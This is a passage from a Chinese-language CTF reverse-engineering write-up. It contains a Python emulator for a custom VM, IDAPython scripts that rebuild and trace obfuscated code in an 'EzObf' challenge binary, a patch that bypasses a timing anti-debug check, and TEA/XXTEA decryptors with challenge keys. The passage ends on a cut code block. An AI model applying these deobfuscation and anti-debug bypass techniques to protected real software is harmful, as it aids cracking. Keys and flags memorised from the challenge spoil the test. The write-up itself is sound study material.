elif BYTEPlace == 1: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = ((memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4])&0xFFFF00FF)+((reg[opc[reg[6]+4]]*0x00000100)&0x0000FF00)
elif BYTEPlace == 2: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = ((memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4])&0xFF00FFFF)+((reg[opc[reg[6]+4]]*0x00010000)&0x00FF0000)
elif BYTEPlace == 3: memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = ((memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4])&0x00FFFFFF)+((reg[opc[reg[6]+4]]*0x01000000)&0xFF000000)
reg[6] += 5
elif opc[reg[6]+1] == 6:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: mov (LOBYTE)reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]]&0xFF)}, ({((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)%4}#BYTE)memory[{((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4}] = {hex(((memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4]>>((((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)%4)*8))&0xFF))}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+2]]&0xFFFFFF00)+((memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4]>>((((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)%4)*8))&0xFF)
reg[6] += 5
elif opc[reg[6]+1] == 7:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: mov memory[{((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4])}, {hex(opc[reg[6]+4])}")
memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = opc[reg[6]+4]
reg[6] += 5
elif opc[reg[6]+1] == 8:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: mov reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = memory[((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]])&0xFFFFFFFF)//4]
reg[6] += 5
elif opc[reg[6]+1] == 9:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, {hex(opc[reg[6]+5])}, asm: mov reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]]*opc[reg[6]+5])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]]*opc[reg[6]+5])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = memory[((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]]*opc[reg[6]+5])&0xFFFFFFFF)//4]
reg[6] += 6
elif opc[reg[6]+1] == 10:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, {hex(opc[reg[6]+5])}, {hex(opc[reg[6]+6])}, asm: mov reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]]*opc[reg[6]+5]+opc[reg[6]+6])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]]*opc[reg[6]+5]+opc[reg[6]+6])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = memory[((reg[opc[reg[6]+3]]+reg[opc[reg[6]+4]]*opc[reg[6]+5]+opc[reg[6]+6])&0xFFFFFFFF)//4]
reg[6] += 7
elif opc[reg[6]+1] == 11:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, {hex(opc[reg[6]+5])}, asm: mov memory[{((reg[opc[reg[6]+2]]+reg[opc[reg[6]+3]*opc[reg[6]+4]])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+2]]+reg[opc[reg[6]+3]*opc[reg[6]+4]])&0xFFFFFFFF)//4])}, reg[{opc[reg[6]+5]}] = {hex(reg[opc[reg[6]+5]])}")
memory[((reg[opc[reg[6]+2]]+reg[opc[reg[6]+3]]*opc[reg[6]+4])&0xFFFFFFFF)//4] = reg[opc[reg[6]+5]]
reg[6] += 6
elif opc[reg[6]+1] == 12:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, {hex(opc[reg[6]+5])}, {hex(opc[reg[6]+6])}, asm: mov memory[{((reg[opc[reg[6]+2]]+reg[opc[reg[6]+3]]*opc[reg[6]+4]+opc[reg[6]+5])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+2]]+reg[opc[reg[6]+3]]*opc[reg[6]+4]+opc[reg[6]+5])&0xFFFFFFFF)//4])}, reg[{opc[reg[6]+6]}] = {hex(reg[opc[reg[6]+6]])}")
memory[((reg[opc[reg[6]+2]]+reg[opc[reg[6]+3]]*opc[reg[6]+4]+opc[reg[6]+5])&0xFFFFFFFF)//4] = reg[opc[reg[6]+6]]
reg[6] += 7
# sub
elif opc[reg[6]] == 3:
if opc[reg[6]+1] == 3:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: sub reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+2]]-memory[(
(reg[opc[reg[6]+3]]+opc[reg[6]+4]) & 0xFFFFFFFF)//4]) & 0xFFFFFFFF
reg[6] += 5
elif opc[reg[6]+1] == 4:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, asm: sub reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, {hex(opc[reg[6]+3])}")
reg[opc[reg[6]+2]] -= opc[reg[6]+3]
reg[6] += 4
# add
elif opc[reg[6]] == 4:
if opc[reg[6]+1] == 1:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, asm: add reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, {hex(reg[opc[reg[6]+3]])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+2]]+reg[opc[reg[6]+3]])&0xFFFFFFFF
reg[6] += 4
elif opc[reg[6]+1] == 2:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: add memory[{((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4])}, {hex(opc[reg[6]+4])}")
memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4] = (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]+opc[reg[6]+4])&0xFFFFFFFF
reg[6] += 5
elif opc[reg[6]+1] == 3:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: add reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+2]]+memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])&0xFFFFFFFF
reg[6] += 5
elif opc[reg[6]+1] == 4:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, asm: add reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, {hex(opc[reg[6]+3])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF
reg[6] += 4
# xor
elif opc[reg[6]] == 5:
if opc[reg[6]+1] == 1:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, asm: xor reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, reg[{opc[reg[6]+3]}] = {hex(reg[opc[reg[6]+3]])}")
reg[opc[reg[6]+2]] = reg[opc[reg[6]+2]] ^ reg[opc[reg[6]+3]]
reg[6] += 4
elif opc[reg[6]+1] == 2:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: xor memory[reg[arg2]+arg3], arg4")
reg[6] += 5
elif opc[reg[6]+1] == 3:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: xor arg2, memory[reg[arg3]+arg4]")
reg[6] += 5
elif opc[reg[6]+1] == 4:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, asm: xor reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, {hex(opc[reg[6]+3])}")
reg[opc[reg[6]+2]] = reg[opc[reg[6]+2]] ^ opc[reg[6]+3]
reg[6] += 4
# add
elif opc[reg[6]] == 6:
assert opc[reg[6]+1] == 3
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: add reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, reg[{opc[reg[6]+3]}] = {hex(reg[opc[reg[6]+3]])}, {hex(opc[reg[6]+4])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF
reg[6] += 5
# shr
elif opc[reg[6]] == 7:
if opc[reg[6]+1] == 3:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: shr reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = reg[opc[reg[6]+2]] >> memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4]
reg[6] += 5
elif opc[reg[6]+1] == 4:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, asm: shr reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, {hex(opc[reg[6]+3])}")
reg[opc[reg[6]+2]] = reg[opc[reg[6]+2]] >> opc[reg[6]+3]
reg[6] += 4
# shl
elif opc[reg[6]] == 8:
if opc[reg[6]+1] == 3:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: shl reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+2]] << memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])&0xFFFFFFFF
reg[6] += 5
elif opc[reg[6]+1] == 4:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, asm: shl reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, {hex(opc[reg[6]+3])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+2]] << opc[reg[6]+3])&0xFFFFFFFF
reg[6] += 4
# cmp
elif opc[reg[6]] == 9:
BYTEPlace = ((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)%4
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: cmp (#{BYTEPlace}BYTE)memory[{((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4}] = {hex((memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&int('0xFF'+'00'*BYTEPlace,16))>>BYTEPlace*8)}, {hex(opc[reg[6]+4])}")
if (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&(0xFF<<(BYTEPlace*8)))>>BYTEPlace*8 == opc[reg[6]+4]:
reg[7] = 1
reg[8] = reg[9] = reg[10] = 0
elif (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&(0xFF<<(BYTEPlace*8)))>>BYTEPlace*8 > opc[reg[6]+4]:
reg[7] = reg[8] = reg[9] = reg[10] = 0
elif (memory[((reg[opc[reg[6]+2]]+opc[reg[6]+3])&0xFFFFFFFF)//4]&(0xFF<<(BYTEPlace*8)))>>BYTEPlace*8 < opc[reg[6]+4]:
reg[7] = reg[10] = 0
reg[8] = reg[9] = 1
reg[6] += 5
# jz(xmm[0])
elif opc[reg[6]] == 10:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, asm: jz(xmm[0]) {hex(opc[reg[6]+1])}",end=" ")
if reg[7] == 0:
print("jumped here")
reg[6] = opc[reg[6]+1]
elif reg[7] == 1:
print("unjump here")
reg[6] += 2
# jmp
elif opc[reg[6]] == 12:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, asm: jmp {hex(opc[reg[6]+1])}")
reg[6] = opc[reg[6]+1]
# and
elif opc[reg[6]] == 13:
if opc[reg[6]+1] == 3:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, {hex(opc[reg[6]+4])}, asm: and reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, memory[{((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4}] = {hex(memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4])}")
reg[opc[reg[6]+2]] = reg[opc[reg[6]+2]] & memory[((reg[opc[reg[6]+3]]+opc[reg[6]+4])&0xFFFFFFFF)//4]
reg[6] += 5
elif opc[reg[6]+1] == 4:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, asm: and reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, {hex(opc[reg[6]+3])}")
reg[opc[reg[6]+2]] = reg[opc[reg[6]+2]] & opc[reg[6]+3]
reg[6] += 4
# jnz(xmm[0])
elif opc[reg[6]] == 15:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, asm: jnz {hex(opc[reg[6]+1])}",end=" ")
if reg[7] == 1:
print("jumped here")
reg[6] = opc[reg[6]+1]
elif reg[7] == 0:
print("unjump here")
reg[6] += 2
# nop
elif opc[reg[6]] == 16:
print("op {reg[6]}: {hex(opc[reg[6]])}, asm: nop")
reg[6] += 1
# wrong_length
elif opc[reg[6]] == 17:
print("Length Wrong!")
exit(0)
# mul
elif opc[reg[6]] == 18:
assert opc[reg[6]+1] == 4
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, {hex(opc[reg[6]+2])}, {hex(opc[reg[6]+3])}, asm: mul reg[{opc[reg[6]+2]}] = {hex(reg[opc[reg[6]+2]])}, reg[{opc[reg[6]+3]}] = {hex(reg[opc[reg[6]+3]])}, {hex(opc[reg[6]+4])}")
reg[opc[reg[6]+2]] = (reg[opc[reg[6]+3]]*opc[reg[6]+4])&0xFFFFFFFF
reg[6] += 5
# je(xmm[1],xmm[3])
elif opc[reg[6]] == 19:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, asm: je(xmm[1],xmm[3]) {hex(opc[reg[6]+1])}",end=" ")
if reg[8] == reg[10]:
print("jumped here")
reg[6] = opc[reg[6]+1]
else:
print("unjump here")
reg[6] += 2
# jz(xmm[2])
elif opc[reg[6]] == 20:
print(f"op {reg[6]}: {hex(opc[reg[6]])}, {hex(opc[reg[6]+1])}, asm: jz(xmm[2]) {hex(opc[reg[6]+1])}",end=" ")
if reg[9] == 0:
print("jumped here")
reg[6] = opc[reg[6]+1]
elif reg[9] == 1:
print("unjump here")
reg[6] += 2
else:
print("opcode unknown: ", opc[reg[6]])
break
# time.sleep(0.001)
print("memory:")
for i in range(len(memory)):
print(f'{memory[i]:#10x}', end=' ')
if (i%16 == 15):
print()
print("reg:")
for i in range(len(reg)):
print(f'{reg[i]:#10x}', end=" ")
print()
# time.sleep(0.001)
print("result:")
for i in range(len(result)):
print(f'{result[i]:#10x}', end=" ")
print()

def bytes_to_dwords_little_endian(byte_array):
return [int.from_bytes(byte_array[i:i+4], byteorder='little', signed=False) for i in range(0, len(byte_array), 4)]

def dwords_to_bytes_little_endian(dword_array):
byte_list = []
for dword in dword_array:
byte_list.extend(dword.to_bytes(4, byteorder='little'))
return byte_list

m1 = 0x30303030
m2 = 0x31313131
delta = 0xA0A01919
key = [0x776F6853, 0x656B616D, 0x616D5F72, 0x74696564]
ttl = 0
for i in range(0x48):
m1 = (m1 + ((((m2 >> 5) ^ (m2 << 6)) + (m2 ^ 0x11223344)) ^ ((key[ttl & 3] + ttl) ^ 0xABAB1212))) & 0xFFFFFFFF
ttl = (ttl - delta) & 0xFFFFFFFF
m2 = (m2 + ((((m1 >> 4) ^ (m1 << 7)) + (m1 ^ 0x55667788)) ^ ((key[(ttl >> 11) & 3] + ttl) ^ 0x23235566))) & 0xFFFFFFFF
print(hex(m1), hex(m2))
time.sleep(1)
encflag = [0x9a,0x2e,0x6c,0x69,0xe1,0xe8,0xad,0x76,0xa4,0x5c,0x7d,0xe6,0x38,0xbd,0x76,0x5c,
0x87,0x07,0xac,0xb7,0x65,0x0c,0xea,0xbf,0x10,0xff,0xc2,0x01,0x38,0xfd,0x16,0x6d]
dwordenc = bytes_to_dwords_little_endian(encflag)
result = []
for j in range(0,len(dwordenc)//2):
m1 = dwordenc[2*j]
m2 = dwordenc[2*j+1]
ttl = (0 - 0x48 * delta) & 0xFFFFFFFF
for j in range(0x48):
m2 = (m2 - ((((m1 >> 4) ^ (m1 << 7)) + (m1 ^ 0x55667788)) ^ ((key[(ttl >> 11) & 3] + ttl) ^ 0x23235566))) & 0xFFFFFFFF
ttl = (ttl + delta) & 0xFFFFFFFF
m1 = (m1 - ((((m2 >> 5) ^ (m2 << 6)) + (m2 ^ 0x11223344)) ^ ((key[ttl & 3] + ttl) ^ 0xABAB1212))) & 0xFFFFFFFF
result.append(m1)
result.append(m2)
flag = dwords_to_bytes_little_endian(result)
time.sleep(1)
strflag = ''.join([chr(i) for i in flag])
print(strflag)

EzObf [复现]

跟之前XYCTF的一题有点像,两个popf之间才是真实执行的指令,之前的题解看的是Liv师傅的博客,但是这道题,师傅好像用其他方法解了,先复现下,再看看能不能其他方法解

image-20250501095353067

后面还有一大串指令

有两个思路,一个是写idapython一直生成代码,然后下断点得运行逻辑,第二种方法就是直接一步到位删掉无用的pop xxx这些东西

我们先用第一种看看

image-20250501101507352

我们可以发现头部都是5D 5C

以下来自XYCTF 2025 WriteUp | 棱晶の小窝

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import idaapi
import ida_bytes
import ida_funcs
import ida_auto

def analyze_vmpt_segment():
seg = idaapi.get_segm_by_name(".vmpt")
if not seg:
print("[-] Segment .vmpt not found!")
return

seg_start = seg.start_ea
seg_end = seg.end_ea

print(f"[+] Analyzing .vmpt segment from {hex(seg_start)} to {hex(seg_end)}")

current_ea = seg_start
while current_ea < seg_end - 1:
byte1 = ida_bytes.get_byte(current_ea)
byte2 = ida_bytes.get_byte(current_ea + 1)

if byte1 == 0x5D and byte2 == 0x5C:
print(f"[+] Found 5D5C at {hex(current_ea)}")

idc.del_items(current_ea, 0) # 删除当前地址的任何注解或数据定义

# 尝试先将当前位置识别为代码
if idc.create_insn(current_ea):
print(f"[*] Instruction created at {hex(current_ea)}")
else:
print(f"[!] Failed to create instruction at {hex(current_ea)}")

# 然后再尝试创建函数
if ida_funcs.add_func(current_ea):
print(f"[+] Function created at {hex(current_ea)}")
else:
print(f"[-] Failed to create function at {hex(current_ea)}")
current_ea += 1

print("[+] Analysis complete.")
analyze_vmpt_segment()

我自己写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from ida_bytes import get_bytes, is_code
from ida_idaapi import BADADDR
from ida_segment import get_segm_by_name
from ida_funcs import add_func
from ida_auto import auto_make_code
from idc import del_items, create_insn

# 获取 .vmpt 段
seg = get_segm_by_name(".vmpt")
if not seg:
print("[-] 找不到 .vmpt 段")
else:
start = seg.start_ea
end = seg.end_ea

addr = start
while addr < end - 2:
# 读取2个字节
bytes_ = get_bytes(addr, 2)
if bytes_ and bytes_[0] == 0x5D and bytes_[1] == 0x5C:
print(f"[+] 发现 5D5C 在 {hex(addr)}")

# 清除可能是数据的定义
del_items(addr, 0)

# 强制创建指令
if create_insn(addr):
print(f"[*] 成功创建指令 at {hex(addr)}")

# 创建函数
if add_func(addr):
print(f"[+] 成功创建函数 at {hex(addr)}")
else:
print(f"[-] 创建函数失败 at {hex(addr)}")
else:
print(f"[!] 无法在 {hex(addr)} 创建指令")

addr += 1

image-20250501120145416

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import idaapi
import idc
import idautils
from ida_segment import get_segm_by_name

class PopfqPushfqTracer(idaapi.DBG_Hooks):
def __init__(self):
super(PopfqPushfqTracer, self).__init__()
self.active_pushfq_bps = set()

def _find_next_pushfq(self, start_ea):
ea = start_ea
while ea != idc.BADADDR:
if idc.print_insn_mnem(ea) == 'pushfq':
return ea
ea = idc.next_head(ea)
return idc.BADADDR

def dbg_bpt(self, tid, ea):
mnem = idc.print_insn_mnem(ea)

if mnem == 'popfq':
next_insn = idc.next_head(ea)
disasm = idc.generate_disasm_line(next_insn, 0)
print(f"{hex(next_insn)}: {disasm}")

pushfq_ea = self._find_next_pushfq(next_insn)
if pushfq_ea != idc.BADADDR:
idc.add_bpt(pushfq_ea)
self.active_pushfq_bps.add(pushfq_ea)

elif mnem == 'pushfq' and ea in self.active_pushfq_bps:
idc.del_bpt(ea)
self.active_pushfq_bps.remove(ea)

return 0

# 初始化调试钩子
debugger = PopfqPushfqTracer()
debugger.hook()

# 为 .vmpt 段内所有 popfq 设置断点
seg = get_segm_by_name(".vmpt")
if seg:
for head in idautils.Heads(seg.start_ea, seg.end_ea):
if idc.print_insn_mnem(head) == "popfq":
idc.add_bpt(head)
print(f"[+] Breakpoint set on popfq @ {hex(head)}")
else:
print("[-] .vmpt segment not found")

print("[*] Debugger hooked. Start running the binary.")

再动调,其实可以发现是跟tea相关的算法了

动调后,可以开启ScallyHide减少一些反调试,但是在

1
2
3
4
5
6
7
8
9
10
11
12
13
xor     eax, eax
jmp sub_1401F9416
mov rdi, rax
lea rcx, [rbp-20h]
mov rdx, 1401A1140h
lea rdx, [rdx]
mov rax, 1400890B6h
call rax
mov rax, rdi
mov rcx, [rbp+410h]
xor rcx, rbp
mov rax, 140087CA2h
call rax

处后仍会被时间反调试给kill掉

调试仔细看看被kill的前几条可以发现

image-20250501151359392

0x1401FA032这里没跳转,改成跳转jmp,XYCTF 2025 WriteUp | 棱晶の小窝

然后就再过一个循环就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ov     dword ptr [rbp+3F8h], 0
cmp dword ptr [rbp+3F8h], 0
jz loc_1401F9DDA ; 这里应该是加密次数
mov dword ptr [rbp+238h], 0A9934E2Fh
mov dword ptr [rbp+23Ch], 30B90FAh
mov dword ptr [rbp+240h], 0DCBF1D3h
mov dword ptr [rbp+244h], 328B5BDEh
mov dword ptr [rbp+248h], 44FAB4Eh
mov dword ptr [rbp+24Ch], 1DCF0051h
mov dword ptr [rbp+250h], 85EBBE55h
mov dword ptr [rbp+254h], 93AA773Ah
mov qword ptr [rbp+278h], 0
jmp loc_1401F8DD6
cmp qword ptr [rbp+278h], 4
jnb loc_1401F9286
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def dwords_to_bytes_little_endian(dword_array):
byte_list = []
for dword in dword_array:
byte_list.extend(dword.to_bytes(4, byteorder='little'))
return byte_list

def XXTEA(m, k):
n = 8
delta = 0x61C88646
r = 6 + 52 // n
mul = (r * delta) & 0xFFFFFFFF
rounds = 6 + mul // delta
ttl = 0
for j in range(rounds-1, -1, -1):
ttl = (ttl + delta) & 0xFFFFFFFF
e = ttl >> 2 & 3
for i in range(n):
after = m[(i + 1) % n]
before = m[(i - 1) % n]
m[i] = (m[i] + (((before >> 5) ^ (after << 2)) + ((after >> 3) ^ (before << 4)) ^ ((ttl ^ after) + (k[(i ^ e) & 3] ^ before)))) & 0xFFFFFFFF
return m

def de_XXTEA(m, k):
n = 8
delta = 0x61C88646
r = 6 + 52 // n
mul = (r * delta) & 0xFFFFFFFF
rounds = 6 + mul // delta
ttl = ((rounds + 1) * delta) & 0xFFFFFFFF
for j in range(0, rounds, 1):
ttl = (ttl - delta) & 0xFFFFFFFF
e = ttl >> 2 & 3
for i in range(n-1, -1, -1):
after = m[(i + 1) % n]
before = m[(i - 1) % n]
m[i] = (m[i] - (((before >> 5) ^ (after << 2)) + ((after >> 3) ^ (before << 4)) ^ ((ttl ^ after) + (k[(i ^ e) & 3] ^ before)))) & 0xFFFFFFFF
return m

dwordenc = [0xA9934E2F, 0x030B90FA, 0x0DCBF1D3, 0x328B5BDE,
0x044FAB4E, 0x1DCF0051, 0x85EBBE55, 0x93AA773A]
dwordkey = [0x2daf, 0x669d, 0x3954, 0x3e5a]

# 解密flag
dwordflag = de_XXTEA(dwordenc, dwordkey)
flag = bytearray(dwords_to_bytes_little_endian(dwordflag))
print(flag.decode())

再复现下liv师傅做的

XYCTF2025 | Liv’s blog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
